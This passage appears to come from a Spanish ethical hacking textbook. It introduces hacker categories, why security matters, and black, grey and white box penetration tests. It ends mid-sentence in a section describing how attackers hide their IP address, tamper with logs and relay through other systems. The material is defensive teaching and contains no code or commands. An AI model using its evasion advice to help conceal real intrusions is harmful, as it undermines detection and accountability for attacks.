Seguridad informática ENI.docx

March 30, 2018 | Author: Alberto Bollo | Category: Security Hacker, Tor (Anonymity Network), Vulnerability (Computing), Internet, Computer Security


Comments



Description

seguridad informática - Ethical HackingConocer el ataque para unamejor defensa [2ª ed] Este libro sobre seguridad informática (y ethical hacking) está dirigido a todo informático sensibilizado con el concepto de la seguridad informática aunque sea novato o principiante en el dominio de la seguridad de los sistemas de información. Tiene como objetivo iniciar al lector en las técnicas de los atacantes para, así, aprender a defenderse. En esta nueva edición, se ha revisado, corregido o incluso reescrito cada capítulo para tener en cuenta la actualidad en materia de seguridad informática. Se presentan nuevas herramientas y aspectos no tratados en la edición anterior, como la profundización del análisis de memoria mediante herramientas especializadas, el Bypass de Stack Cookies en el capítulo de fallos aplicativos, los CAPTCHA en el capítulo Web, etc... La gran novedad de esta edición es la creación de un nuevo capítulo sobre la seguridad del Cloud Computing, de rabiosa actualidad. Después de una definición precisa de los diferentes tipos de hackers y de sus objetivos, los autores presentan la metodología de un ataque y los medios para identificar las vulnerabilidades o fallos de seguridad a través de los que introducirse en un sistema. El capítulo sobre Ingeniería social, o manipulación social, ilustra que más de un 60% de los ataques con éxito se debe a errores humanos. Los fallos físicos, que permiten un acceso directo a ordenadores, y los fallos de red y Wi-Fi se presentan e ilustran cada uno con propuestas de contramedidas. Se presenta a continuación el Cloud Computing (su historia, su funcionamiento) para dominar mejor la seguridad. También se presenta la seguridad en la web y los fallos actuales identificados gracias a la ayuda de herramientas que el lector puede implantar fácilmente en sus propios sistemas. El objetivo es identificar siempre los posibles fallos para establecer después la estrategia de protección adecuada. Por último, se identifican con algunos ejemplos los fallos de sistemas en Windows o Linux y los fallos de aplicación, para familiarizarse con el lenguaje ensamblador y comprender mejor las posibilidades de ataque. Los autores de este libro forman un equipo de personas con la convicción de que la seguridad informática esté al alcance de todos: "conocer el ataque para una mejor defensa" es su lema. Hackers de alma blanca, abren al lector las puertas del conocimiento underground. Los capítulos del libro: Introducción y definiciones – Metodología de un ataque – Social Engineering – Los fallos físicos – Toma de huellas – Los fallos de red – Cloud Computing: puntos fuertes y débiles – Los fallos Web – Los fallos de sistema operativo – Los fallos de aplicación ACISSI - Marion AGÉ - Sébastien BAUDRU - Robert CROCFER - Nicolas CROCFER - Franck EBEL - Jérôme HENNECART - Sébastien LASSON - David PUCHE - Raphaël RAULT ACISSI (Auditoría, Consejo, Instalación y Seguridad de Sistemas de Información) es una asociación francesa sin ánimo de lucro que forma y asesora en cuestiones de seguridad informática. Los autores de este libro son, por supuesto, miembros activos de la asociación, siendo cada uno de ellos un reconocido profesional de la especialidad: Marion AGÉ: Desarrolladora web y multimedia desde 2007, es también freelance para prensa especializada en seguridad informática. Sébastien BAUDRU: Formador y asesor en seguridad informática, formador en Linux (certificado RHCE: RedHat Certified Enginer) y en programación. Cofundador de la sociedad DRASTIC (prestación de servicios de seguridad informática) y freelance para prensa especializada en seguridad informática. Robert CROCFER: Ingeniero con estudios de redes backbone y Administrador de redes en la Universidad de Valenciennes. Sus áreas de especialización en la seguridad informática son las vulnerabilidades físicas y de red. Es freelance para prensa especializada en seguridad informática. Nicolas CROCFER: Diplomado Experto en Seguridad de Sistemas de Información (título de nivel I registrado en la RNCP). Desarrollador independiente con gran interés en el Cloud Computing así como la seguridad web. Franck EBEL: Responsable de la licencia profesional CDAISI (Colaborador para la Defensa y la Anti-Intrusión de los Sistemas Informáticos) y profesor de informática. Certificado OSCP (Offensive Security Certified Professionnal) y cofundador de la sociedad DRASTIC, su especialidad son los fallos de aplicación. Es freelance para prensa especializada en seguridad informática. Jérôme HENNECART: Antiguo jefe del departamento de Medidas físicas de la IUT de Valenciennes, es profesor y formador en seguridad informática, siendo su especialidad la Web y sus puntos débiles. Es freelance para prensa especializada en seguridad informática. Sébastien LASSON: Especialista en seguridad física de sistemas (tarjetas de memoria, tarjetas con banda magnética, RFID, etc.) y desarrollador Web independiente. Desmonta y analiza todos los sistemas que llegan a sus manos haciendo de este estudio su especialidad. David PUCHE: Diplomado en un master TNSID de la Universidad de Valenciennes, desarrollador experimentado y cofundador de la sociedad DRASTIC. Creador de herramientas usadas por ACISSI para auditorías. Su dominio es la seguridad de aplicación y de sistema operativo. Raphaël RAULT : Abogado miembro del gabinete BRM Avocats, diplomado en la EDHEC Business School, encargado de la formación dentro de la licenciatura profesional CDAISI y del Instituto de Administración de Empresas (IAE) de Lille (Francia). La seguridad informática, ¿para qué?, ¿para quién? 1. Hacking, piratería, seguridad informática... ¿Qué hay detrás de estas palabras? Nunca antes el hacking y la piratería informática habían sido tan mediáticos. Desde los años 70, los sistemas informáticos se han ido multiplicando y han adquirido más y más importancia, permitiendo acceder cada vez más rápido a la información, multiplicando el intercambio de ésta con la democratización y el auge de Internet en los hogares. Hoy en día, la mayoría de los hogares tiene acceso a Internet y se nos brinda la posibilidad de conectarnos al otro extremo del mundo desde un café o un tren, para mantener el contacto con los nuestros o trabajar de forma remota dondequiera que estemos, gracias a un acceso continuo a la información. Es un avance tecnológico real en un mundo en donde todo tiene que ir tan rápido, pero que a su vez entraña un verdadero problema de trasfondo respecto a la seguridad de la información y de la vida privada de los individuos. No se desarrolla un nuevo sistema sin que se desarrollen algunos efectos secundarios que puedan resultar peligrosos. Sin embargo, hoy en día se envía información de lo más confidencial por la red, que posiblemente puede resultar mucho más interesante que el emisor y el receptor de las comunicaciones. En un mundo ideal, esta información circularía de uno a otro con total seguridad, protegida durante su tránsito de la influencia de cualquier otra persona. La información partiría y llegaría con total integridad sin ninguna alteración ni visualización externa posible, y nadie debería recibir en contra de su voluntad información perjudicial... En un mundo ideal. Y cuando uno reflexiona sobre la importancia de los datos que envía por la red, ya sea en casa o en la oficina, surgen dudas sobre la seguridad que se proporciona a los datos. Dado que actualmente los ataques, las amenazas y las consecuencias de aplicar unas medidas de protección blandas aumentan día a día, el mundo parece cada vez más interesado en los problemas de la seguridad informática, la piratería y el hacking. Éstos componen una buena amalgama de términos que muy a menudo se emplean equivocadamente intercambiando unos con otros, provocando el pánico ante peligros que no se les corresponden necesariamente y sembrando las dudas en temas que todo el mundo debería conocer antes de conectarse a la red. El término pirata no tiene su origen en la informática. Inicialmente definía un individuo ligado al vandalismo en el mar, saqueando y robando con violencia, a expensas de los demás, y deshonestamente. Adaptado al dominio de la informática y el contexto es diferente, pero la acción puede estar relacionada. Se trata de una persona que pretende saquear un sistema informático destruyendo sus protecciones. Por tanto, el término define a las personas que comprometen los sistemas informáticos con el objetivo de hacer daño, robar información u obtener beneficio de falsificaciones. Por otro lado, están los hackers. Y es aquí donde a menudo los medios crean la confusión, que los engloban muy fácilmente entre sí aun teniendo éticas claramente distintas. El hacker es por definición mañoso, un apasionado, más bien con tendencia a la curiosidad y la sed de aprender que a la voluntad de hacer daño. El hacker es un especialista en seguridad informática, que utiliza sus conocimientos por el gusto y la necesidad de saber más o difundir la información. Para los hackers, el conocimiento y la información tienen que ser libres y gratuitos. Los hackers se agrupan en comunidades basadas en la compartición y el intercambio de competencias para difundir esta forma de pensar. Con este concepto se han desarrollado varios movimientos que, a día de hoy, han pasado claramente del estado embrionario y están presentes en nuestra realidad cotidiana. Citemos por ejemplo el software libre que, gracias a una comunidad apasionada y devota, se ha desarrollado e incluso democratizado de forma destacable desde hace algunos años, aprovechando la comunidad para batir récords de velocidad en resolución de incidencias y publicación de parches. La seguridad informática, o de forma más global, la seguridad en los sistemas de información, representa el conjunto de medios y técnicas implementados para asegurar la integridad y que no se difundan involuntariamente los datos que recorren el sistema de información, entendiendo como tal al conjunto de datos y de recursos (físicos, lógicos y humanos) que permiten almacenar y que circule la información que contiene. También representa la red de actores que intervienen sobre éste, que intercambian datos, acceden a ellos y los usan. 2. La importancia de la seguridad Con el famoso "todo disponible para todos y a la vez", el transporte de datos fuera de casa o de la empresa es una realidad en la que vale la pena cuestionar la seguridad de las transmisiones para no comprometer al sistema de información. Ya sea a nivel de empresa, de multinacional, de un usuario privado o incluso de un país, la seguridad de un sistema de información adquiere una importancia proporcional al valor de los datos que contiene. En el despliegue de una red, no sólo hay que enfrentarse con el problema del aumento de la cantidad, sino también, y sobre todo, con la importancia de los datos que la recorren. a. Para particulares Según el contexto en el que se aplique, la seguridad informática toma una importancia y unas medidas completamente distintas. El usuario particular deberá, en la medida de lo posible, preservar intactos los datos que considere confidenciales, privados y personales. Ya sea cuando intercambie información con su familia o amigos, cuando consulte sus datos bancarios en línea o cuando realice sus compras por Internet. Desgraciadamente, no hay día en el que no haya un usuario que haya sido víctima por alguno de estos problemas. Además, hay vulneraciones que pueden parecer menos graves, y que aparecen solamente en la opinión pública: nos estamos refiriendo a la vida privada. Y en este juego, las herramientas que se utilizan a diario son las mejores fuentes de información de uno mismo. Facebook, Google, sitios que con gusto recogen todos los datos que se les proporciona, y que tardan mucho tiempo en olvidar... En la actualidad este problema parece afectar solamente a unos pocos, que no dudan en publicar gran cantidad de información personal abiertamente, ignorando el hecho de que dejan de ser dueños de lo que publican y de que otros podrán tener acceso: no se cuentan realmente todos aquellos trabajadores que han sido despedidos por publicar mentiras o difamaciones sobre su superior por la red, o las víctimas de robos en sus casas que dijeron públicamente que estarían ausentes durante un periodo de tiempo. Por tanto, el concepto de seguridad no es algo que nos sea ajeno o anecdótico. Incluso aprender los riesgos para construirse uno mismo sus propias medidas de seguridad es algo que debería ser en última instancia la preocupación de todos y cada uno de nosotros. Un individuo también puede ser el blanco del ataque, ya sea a su sitio web personal o su blog, quizá sin razón alguna. El atacante podrá -a parte de los efectos en el sitio en cuestión: borrado de datos, etc.- instalarse en el servidor para realizar ataques de mayor envergadura, para robar información personal o para dañar sistemas de información de mayor importancia. Esta intrusión también puede llevarse a cabo mediante la conexión a Internet de un usuario particular, si éste no la protege o lo hace mal. Si un intruso consigue conectarse y realiza alguna acción ilegal (compartir archivos ilegales, ataques masivos...) desde ésta, el propietario de la línea es el responsable de sus acciones. Por ejemplo, la polémica ley Hadopi en Francia asigna la responsabilidad de la protección de la conexión a Internet al propietario de la línea y las demandas irán contra éste si se detectan actividades ilegales debidas a una protección deficiente. b. Para empresas y centros académicos Para una empresa, el sistema de información representa su valor, es lo esencial que hay que proteger. Comprometer este sistema es comprometera la empresa. Por consiguiente, conviene asegurar la seguridad del sistema, es decir, garantizar que los recursos se utilicen únicamente en el marco previsto, por las personas acreditadas y, sobre todo, que no se utilicen en cualquier otra situación. La implantación de un sistema de seguridad implica generalmente el despliegue de medidas técnicas, pero, por encima de todo, de soluciones de prevención que deben contar con la formación y la sensibilización de los actores del sistema. Deben crearse normas y un manual de buenas prácticas para evitar la formación de una brecha humana, un fallo demasiado a menudo ignorado y muy conocido por los atacantes (consulte el capítulo Social Engineering). El ataque puede realizarse mediante un ”defacing” (modificación de las páginas del sitio para indicar que éste ha sido pirateado) del sitio de la empresa, dañando así la imagen de la misma. Estos ataques dan a conocer vulnerabilidades que a menudo son explotadas para robar información o difundir información falsa sobre la compañía. Los vínculos entre la empresa, sus socios, sus proveedores y los empleados forman un conjunto que hay que conocer muy bien para asegurarlo. Los recursos que circulan tienen que estar absolutamente protegidos, y para ello es imprescindible el dominio del sistema de información. Cada actor del sistema toma un papel que hay que respetar y que tiene que estar escrupulosamente definido. El riesgo de ataque a un sistema se mide por la amenaza del mismo, su vulnerabilidad y las medidas puestas en marcha para la seguridad de este sistema. Es esta ecuación, la empresa es la responsable directa de las vulnerabilidades que se encuentren en su sistema y de las medidas de seguridad. En un contexto global, la seguridad se realiza:  A nivel de usuario: los actores tienen que comprender la importancia de su posición.  A nivel de tecnologías usadas.  A nivel de datos en sí mismos: derechos de acceso (autenticación y control, el usuario sólo ha de tener los permisos que le han sido concedidos).  A nivel físico: el acceso a la infraestructura, al hardware... Si se asegura completamente un sistema y el acceso a la sala de máquinas no lo está, bastará con robar físicamente el soporte de los datos para comprometer gravemente el sistema. Sin embargo, la seguridad no tiene que ser un obstáculo en la vida diaria y debe permitir utilizar el sistema con total confianza. La seguridad del sistema de información de una escuela o de una universidad es también muy importante. Los datos personales e importantes se encuentran en red, sobre los estudiantes, los profesores, los exámenes... Un fallo en la red abriría las puertas a fugas de datos personales e información vital. Las universidades representan un blanco perfecto para los atacantes porque albergan gran cantidad de datos personales. Varios centros académicos han sufrido ataques, como la Universidad de Standford, en 2005. c. Para un país o una nación A nivel de un país, la inseguridad del sistema de información no es asumible. Los procedimientos puestos en práctica tienen que estar a la altura de la información que se protege, ya que está en juego la seguridad de toda la nación. Una brecha en el sistema podría atentar contra los intereses fundamentales de cada individuo, minar la confianza pública del estado o, peor aún, convertirlo en víctima de un acto de terrorismo. Sin embargo, recientemente, ENISA (European Network and Information Security Agency) ha organizado una simulación a gran escala de un ataque cibernético para probar la seguridad de los sistemas de información de los países europeos. De acuerdo con los resultados, ENISA ha declarado que hay demasiadas pocas medidas de seguridad implantadas y que los países no están lo suficientemente preparados si se produce un ataque cibernético terrorista a gran escala. Todos los sistemas están interconectados y más allá de las fronteras la cooperación europea es adecuada. Traición, espionaje, sabotaje, atentado, complot, usurpación, atentados contra la seguridad y los secretos de la defensa nacional, actos terroristas... Hay multitud de riesgos que impactan directamente en la seguridad nacional. El terrorismo cibernético es un problema grave, ya que está más allá de Internet. La toma de control de ordenadores en misión científica o la difusión de virus informáticos en centrales nucleares son ataques posibles. Del mismo modo, los sitios del gobierno español no son precisamente ejemplares en términos de seguridad, ya que han sido atacados con éxito en varias ocasiones. Múltiples fallos de seguridad han sido revelados estos últimos años, incluso en los sitios del Pentágono y de la Casa Blanca. Prueba realizada por ENISA: http://www.enisa.europa.eu/media/news-items/faqs-cyber- europe-2010-final El hacking que pretende ser ético 1. Trabajo en cooperación Para las empresas al cargo de información crítica, cada vez más extendidas, ricas y complejas, y que se enfrentan a individuos mal intencionados con amplios conocimientos, se hizo evidente que necesitaban un nivel de conocimiento equivalente para proteger su sistema. Se trata de la concienciación respecto a la importancia de los datos que posee una estructura profesional. Aunque la empresa tenga en plantilla un responsable de seguridad competente, puede ser interesante llamar a un especialista externo para poner a prueba la red y el sistema informático en condiciones de un ataque real con el objetivo de detectar los puntos fuertes y los puntos débiles que se deben corregir. En este caso, el especialista podrá trabajar en colaboración con el RSSI. Estos especialistas son hackers profesionales, que están acreditados para realizar tests de intrusión, teniendo en cuenta el estado de una arquitectura en un instante concreto. Como especialista en seguridad informática, conoce a la perfección los procedimientos para burlar la seguridad de un sistema y ponerlo a prueba. Este profesional de confianza se pondrá en la piel de un usuario malintencionado (con amplios conocimientos), probando el sistema con la idea de garantizar la seguridad de los datos. Si existen fallos o defectos en la configuración, ayudará a su comprensión y a corregir el problema. Detrás de estos especialistas se esconden lo que en realidad son hackers white hat, consultores de seguridad. Estos hackers tienen sentido de la ética y la conducta, contrariamente a los crackers, que destrozan sistemas informáticos. Los test de intrusión se realizan de acuerdo con los clientes y la legislación. Gracias al hecho de conocer a estos hackers uno aprende a diferenciarlos de terroristas, espías, creadores de virus... 2. Un espíritu habilidoso y apasionado por encima de todo Cuando se habla de seguridad informática, no se puede ignorar el mundo underground, estas comunidades de hackers donde el intercambio del saber es la clave. El hacker se define como un hábil curioso y su motor de éxito lo alimenta con su pasión, que intercambia con el resto de miembros de la comunidad. Los hackers son generalmente autodidactas desde hace muchos años, han acumulado profundos conocimientos técnicos y son generalmente especialistas en una rama (vulnerabilidades físicas, web, de red, etc.). Apasionados y curiosos, no ponen límite ni al conocimiento ni a la curiosidad. Los hackers son capaces de modificar el funcionamiento original de un objeto o un programa. Pero la comunidad hacker va también más allá del conocimiento técnico. Ser un hacker es más un estado de ánimo que el hecho de saber programar. Además, los hackers son generalmente personas cultas que conocen tanto la situación histórica como los grandes actores del movimiento. Se mantienen informados de todo lo que está relacionado con su dominio y tienen sed de conocimiento. Los hackers utilizan sus conocimientos para descubrir las cosas a las que se supone que no deberían de tener acceso. 3. El hacker se está convirtiendo en un experto muy buscado Por supuesto, la definición de hacker por la que habría por un lado los buenos y por otro los malos sería demasiado sencilla y extrema. Además, está continuamente sujeta a discrepancias y está muy cuestionada. Pero lo que también hace tan particulares a los hackers es esta mentalidad alternativa al trabajo, así como al dinero y al tiempo, que hace referencia a una ética completamente distinta de la mentalidad capitalista habitual que existe en la sociedad. Siendo por encima de todo un apasionado, el hacker no dudará en pasarse días y noches con un problema para solucionarlo con éxito ni tampoco dudará en trabajar colaborando con otros. En su relación con el trabajo mezcla placer, ganas para ir más allá del límite, descubrimientos, la curiosidad y el juego... Un conjunto de sensaciones que multiplican su competencia. En este sentido, se puede hacer referencia a varios ejemplos para mostrar la eficacia de los hackers trabajando en equipo, como por ejemplo el sistema operativo Linux, emblema de la producción de los hackers del software libre. Linux ha sido desarrollado de manera independiente y voluntaria, en un contexto al margen del sistema capitalista y está hoy en día situado en una zona confortable en cuanto a su porcentaje de uso en servidores, a parte de que su evolución en el interior de los hogares va en aumento. Esta originalidad en la ética de trabajo era en ese entonces motivo de controversia por parte de los partidarios del enfoque económico estándar. Sin embargo, está claro que esta autoorganización cuya estructura jerárquica es una red completamente horizontal es el origen del éxito. El trabajo del hacker se organiza de forma directamente cooperativa y voluntaria, participando en distintos grupos muy autónomos y de pequeño tamaño. Un hacker se vuelve entonces un especialista experto en su campo, muy buscado, que acumula más conocimientos y experiencia en materia de seguridad que cualquier otro perfil, y convirtiéndose por este motivo en el aliado de un gran número de empresas que deciden cubrir los riesgos que las amenazan. 4. En la piel del atacante El objetivo de una auditoría de seguridad es el de ponerse en la piel del atacante. Aprender el ataque para defenderse mejor, que es justamente lo que se tiene que tener en cuenta para garantizar su seguridad. Para comprender al atacante y aprender su forma de actuar, es necesario dar un paso atrás en su sistema. El objetivo es ponerlo a prueba en condiciones reales para detectar sus puntos fuertes y sus puntos débiles. ¿Es fiable el equipo? ¿Las contraseñas son robustas? ¿Se protege el acceso a éstas? ¿Está la seguridad garantizada en los servidores? ¿Se aplican medidas correctivas cuando hay problemas? ¿Los archivos de registro se consultan regularmente? ¿Detectan las herramientas trazas sospechosas en los servidores? Ya sea con el propósito de dañar, de espiar, de robar datos o cualquier otro, el atacante intentará multiplicar las probabilidades de éxito de su ataque buscando una vulnerabilidad, ya sea física, en el software, en el hardware o humana. La seguridad de un sistema se basa en cinco grandes principios:  La integridad de los datos: hay que garantizar en todo momento que los datos que circulan por la red son los que se cree que son y que no se han alterado (voluntariamente o no) durante su transmisión.  La confidencialidad: sólo las personas permitidas deben acceder a los datos. Hay que evitar en la medida de lo posible cualquier intercepción, los datos tienen que encriptarse y sólo los actores de la transacción deben tener la clave para leer los datos.  La disponibilidad: hay que garantizar el buen funcionamiento del sistema y el acceso a sus servicios y recursos en todo momento.  El no repudio de los datos: una transacción no puede ser negada por ninguno de los intervinientes.  La autentificación: limita el acceso a las personas autorizadas. Hay que asegurar la identidad de un usuario antes del intercambio de datos. La seguridad de un sistema completo será la de su eslabón más débil. Así que si un sistema es técnicamente seguro a excepción del factor humano, que a menudo es el más inseguro, es toda la seguridad del sistema la que queda comprometida. 5. Asesoramiento y apoyo para la seguridad El especialista que audita el sistema informático realizará varias operaciones. En primer lugar, hará una exploración de la red y de los distintos equipos para la detección de posibles problemas. Esta prueba se puede realizar, como se verá, bien en condiciones reales (caja negra, no se dispone de información ni se le concede acceso alguno al hacker), o bien en condiciones transparentes, donde se proporciona toda la información al hacker. Además, es recomendable advertir al menor número de usuarios posible en la empresa que se están realizando auditorías de seguridad para no alterar el contexto. Recordemos que en el mundo real, la mayoría de intrusiones a sistemas se realizan durante el fin de semana. El hacker se asegurará de este modo de qué datos son accesibles sólo para las personas acreditadas, de que éstos sean seguros y de que estén disponibles en cualquier momento. Si el hacker detecta un problema en el sistema, debe advertir al responsable, proponer una solución para paliarlo y ofrecer asesoramiento en la implantación de un procedimiento de seguridad. Por otro lado, puede probar el equipo para verificar que éste no distribuye información confidencial, incluso sin saberlo. En efecto, la acumulación de granos de arena en un organismo puede rápidamente convertirse en un buen nicho de información que, una vez agrupada, bastará para realizar un ataque a la red. También podrá ayudar a implantar una normativa de buenas prácticas, especialmente en la política de gestión de contraseñas, o en la preparación del equipo en términos de seguridad del puesto informático. Conocer al enemigo para defenderse 1. A cada atacante su sombrero a. Los hackers black hat Los hackers black hat, un poco a semejanza de los villanos de los westerns, se definen generalmente en el mundo informático como los hackers rebeldes contra el sistema que actúan en los límites de la ley, o incluso van más allá. Penetran rompiendo los sistemas, con un interés que no es el mismo que el de los propietarios de la red o del sistema, sino más bien personal y/o lucrativo. En este grupo, están los crackers, que sienten una fuerte atracción hacia este lado oscuro. Los crackers son por ejemplo el origen de los virus, los troyanos y el spyware. Cuando se realiza este tipo de acciones con el propósito de dañar una organización o personas, se habla también de terrorismo, o de ciberterrorismo. También se da el caso de que las habilidades de los hackers black hat resultan de gran interés para las grandes empresas, que finalmente acaban atrayéndolos para que trabajen en colaboración con ellas. Sin embargo, la comunidad de los black hat es suficientemente grande y tiene creencias, opiniones y conocimientos muy diferentes. El término "black hat" no quiere decir sin ética ni moralidad. Generalmente las técnicas son las mismas que los white hat, sólo el propósito es distinto. Fuera del mundo del hacking informático, también se habla de los black hat SEO, que son especialistas en referencias masivas. Mediante el bombardeo de enlaces, inscribiendo sitios en miles de directorios y manipulando los motores de búsqueda, estos hackers llegan impulsar algunos sitios de forma espectacular al comienzo de la lista... El término "black hat" se emplea también en concentraciones mundiales de hackers, como la de Las Vegas. b. Los hackers grey hat El hacker de sombrero gris es una especie de híbrido del de sombrero blanco y del de sobrero negro. Se trata de un hacker competente, que actúa a veces con el espíritu de un white hat pero con una filosofía de divulgación distinta. Su intención no es necesariamente mala, aunque de vez en cuando comete algún delito. Por ejemplo, intentará infiltrarse en un sistema por curiosidad. Si ha encontrado un fallo, no dañará el sistema y generalmente avisará al propietario. Sin embargo, esto es ilegal en la mayoría de los estados, ya que está prohibido entrar en una red privada de la que no se es propietario sin la aprobación del mismo. Además, también avisará al mismo tiempo a la comunidad divulgando el fallo. Muchos hackers que se autodenominan white hat en realidad parecen más bien grey hat, ya que sin dar tiempo al responsable para que corrija el problema divulga los fallos, lo que puede dañar seriamente al sistema en cuestión. c. Los hackers white hat Técnicamente, las acciones realizadas por los hackers white hat es muy parecida a la de los black hat. La diferencia radica en que tienen metas u objetivos distintos. En efecto, la ambición de los white hackers es la de ayudar a asegurar el sistema, sin sacar provecho de manera ilícita. Un hacker white hat analiza los sistemas informáticos para descubrir vulnerabilidades todavía no conocidas o sin publicar, las "0 day" (cero day, día cero). La técnica empleada es la misma que la empleada por un hacker black hat. La diferencia entre ambos radica en sus acciones desde el momento en que se descubre la vulnerabilidad. La pregunta que surge es si hay que publicar la vulnerabilidad o no. Los hackers white hat abogan por divulgar completamente la vulnerabilidad descubierta, lo que en inglés se llama full disclosure, mientras que los hackers black hat prefieren restringir el acceso a esta información y no darla a conocer. Un hacker white hat publicará por tanto las vulnerabilidades e incluso los exploits, que son los fragmentos de código que permiten comprobar la vulnerabilidad de un sistema a este fallo. Esta publicación se realiza a través de herramientas en línea especializadas como listas de difusión o herramientas de gestión de errores (bugtracking). El problema resultante es que estos códigos quedan publicados y al alcance de cualquiera, incluyendo los script kiddies, que se verán a continuación. Sin embargo, un white hat también mantiene al corriente a los autores de las vulnerabilidades que las mantienen (en el caso en que no hayan sido contratados para una auditoría que explique sus acciones). Si bien los hackers white hat dicen que actúan legalmente y por una buena causa, la tendencia en los países europeos es la de ir ilegalizando este movimiento. Países como Francia, desde que aprobó la ley de la economía digital, la LCEN, tachan estas acciones como ilegales. Las acciones de estos hackers pasan a ser consideradas del mismo tipo que las de los hackers black hat, debido sobre todo al hecho de que divulgar vulnerabilidades y exploits por Internet se ha empezado a considerar desagradable. Esta ley contradice fuertemente la ética hacker y el principio del software libre. d. Los "script kiddies" Con el problema de la publicación de las vulnerabilidades descubiertas por Internet, se encuentra uno de los elementos clave de la discordia: los script kiddies. Estos individuos recuperan los exploits publicados por los white hats en las herramientas públicas y los ejecutan en máquinas ignorando completamente su funcionamiento con el objetivo de causar daños voluntarios, los llamados mass-root. Internet está repleta de este tipo de individuos y, lamentablemente, son la peor publicidad de este mundo underground. Generalmente, un script kiddie es un adolescente que penetra rompiendo un sistema después de haber tomado notas básicas sobre seguridad informática de algunos libros o de Internet. El script kiddie no tiene ninguna noción acerca de la ética de un hacker. Realiza estas acciones para presumir después con sus amigos. No es raro que, por ejemplo, se dedique a "piratear una cuenta de mensajería instantánea". El script kiddie no tiene conocimientos reales. Solamente utiliza código o programas listos para usar. Los mezcla y reutiliza sin comprender sus entresijos y sus riesgos. Sin embargo, los script kiddies son temidos, debido a que a pesar sus pocos conocimientos, el hecho de que utilicen código de otros representa a veces una amenaza real para un sistema, especialmente porque son muy numerosos y no les importa el daño que causan. Sin embargo, son a menudo confundidos con verdaderos hackers. Además, siempre se les margina en las comunidades underground, donde se les considera lammers, es decir, personas sin conocimientos. e. Los hackers universitarios Los hackers universitarios son hackers libres. Se les asocia al movimiento Open Source del software libre, como Richard Matthew Stallman, el fundador del proyecto GNU. Este término apareció por primera vez en el MIT (el Massachusetts Institute of Technology). De este modo, este tipo de hacker se define como un individuo que comparte su conocimiento con los demás, sobre el funcionamiento de un sistema, un ordenador o una red. Estos hackers promueven el pensamiento según el cual la información es libre y no pertenece a nadie. Así pues, cualquier nuevo conocimiento pasa a ser compartido con todo el mundo. Estos hackers forman una gran comunidad que comparte la misma cultura y que cuenta con programadores con profundos conocimientos, especialistas en redes y en tecnología. Estos hackers trabajan juntos y son la fuente de grandes obras, como Internet, Usenet o el sistema operativo Unix. En 1984, Steven Levy definió la ética hacker según los siguientes principios:  Toda información es por naturaleza libre y gratuita.  El acceso a los ordenadores debería ser total, ilimitado y factible para todo el mundo.  La descentralización de los datos tiene que promoverse.  Los hackers deberían ser juzgados por el hacking, no por criterios de edad, títulos, raza o posición.  Se puede crear arte y belleza con un ordenador.  Los ordenadores pueden mejorar la vida. 2. Y a cada auditoría su caja de secretos Hay varias formas de realizar un test de intrusión cuando una empresa ha solicitado a un especialista que audite su sistema. Puede que el auditor no tenga acceso a ningún tipo de información. También puede ser que tenga acceso a parte de la información. O, finalmente, puede que tenga posesión de toda la información que desee. Estas pruebas son más o menos largas, más o menos completas y más o menos caras. Por supuesto, lo ideal es realizar estos tres tipos de prueba complementariamente para realizar una prueba completa. a. Los test black box El método más realista, ya que es el que se corresponde con una situación real, es el test black box, un test de caja negra. En este caso, el hacker que audita el sistema no tiene nada de información. Actuará como si fuera un atacante, probando una tras otra las distintas puertas en busca de una vulnerabilidad que pueda explotar. El test puede ir dirigido a profundizar en las pruebas de algunas vulnerabilidades probables, pero no se dispondrá de más información de la que tendría un hacker externo. Estos test "a ciegas" tienen como principales ventajas que son más realistas, menos caros y más rápidos. Sin embargo, son menos exhaustivos y no prueban la calidad de la configuración del sistema (¿están optimizados los servicios? ¿Actualizados? ¿Limitados?). En efecto, un sistema puede estar sin optimizar sin ser vulnerable en un determinado instante de tiempo, sin embargo una mala configuración puede traer problemas con posterioridad. El test de caja negra puede ejecutarse desde el exterior o desde dentro, es decir, localmente. Generalmente, la seguridad no es en este caso la misma, ya que los derechos y permisos están menos restringidos, pero pueden formar puertas de acceso adicionales. Por lo tanto, el sistema podría sellarse al exterior y ser vulnerable internamente: un visitante malintencionado en sus locales podría introducirse en el sistema con algunos trucos muy conocidos de Social Engineering. b. Los test grey box Cuando se realiza una auditoría grey box, el consultor sólo posee una cantidad limitada de información. Ésta información permitirá realizar otras pruebas sin tener que averiguar toda la información y llegar un poco más lejos con el test, recorrer otras áreas... Por ejemplo, cuando se audita un sitio interno o uno de Internet, el test de caja negra sería un acceso al sitio sin ninguna información, como un ataque real. Para empezar, el auditor debería encontrar el identificador y la contraseña de un usuario para poderse infiltrar en el sistema. En un test de caja gris, se puede disponer de un par de identificadores de usuario o el identificador del administrador para que se pueda llegar un poco más lejos. c. Los test white box El test white box (de caja blanca) será el más largo y el que más profundice con las pruebas, pero también el más caro. En efecto, aquí el acceso al sistema está completamente abierto al especialista que audita el sistema. Por ello, se tiene que probar cada servicio, verificar su configuración, sus posibles vulnerabilidades y hacer una revisión completa para garantizar el blindaje. El objetivo en este tipo de test es evaluar los riesgos potenciales conociendo todo el sistema y, además, verificar que el sistema será capaz de reiniciar sin perder información si se produce un ataque, verificando por ejemplo el sistema de copias de seguridad. En el contexto de un sitio de Internet, tendrá acceso al código fuente y deberá verificar que éste no presenta riesgos para el sistema. Preámbulo Pongámonos en el contexto de un test de intrusión en condiciones reales, es decir, de caja negra. No conocemos nada sobre el sistema objetivo: ni la arquitectura, ni los servicios ni la organización objetivo. En esta sección vamos a revisar los métodos que se aplican generalmente en un ataque para entrar ilegalmente en un sistema informático, sea cual sea la intención. Esta sección pretende explicar cómo un sistema puede verse comprometido para así protegerse mejor. Los distintos tipos de fallos de seguridad (red, sistema, web...) se retomarán con más detalle en los capítulos siguientes. 1. Ante todo discreción Durante toda la duración de sus acciones, el atacante siempre tiene en mente que debe conservar su anonimato. En efecto, ya sea sólo por curiosidad, ya sea porque tenga la intención de advertir a su objetivo de posibles fallos que encuentre o ya sea porque tenga fines deshonestos, su ataque es ilegal y está penado por la ley. Es por tanto primordial conservar el anonimato y esconder su presencia lo mejor posible para evitar que surja cualquier sospecha. El dato principal que le puede traicionar es su dirección IP. Aunque es cierto que son pocos los administradores que verifican regularmente los registros de conexión de sus servidores, el atacante tiene que ser casi paranoico en lo que respecta a las trazas que deja tras de sí. Una posibilidad es modificar los logs cuando esté en el sistema, pero esta medida no siempre es suficiente, debido a que a veces estarán inaccesibles. Por ejemplo: si se trasladan los logs a otro servidor o si hay otras herramientas en el servidor que permiten identificar visitas sin previo aviso. Por lo tanto hay otras posibilidades. La primera consiste en pasar por otro sistema para llegar a su objetivo, un ordenador personal, por 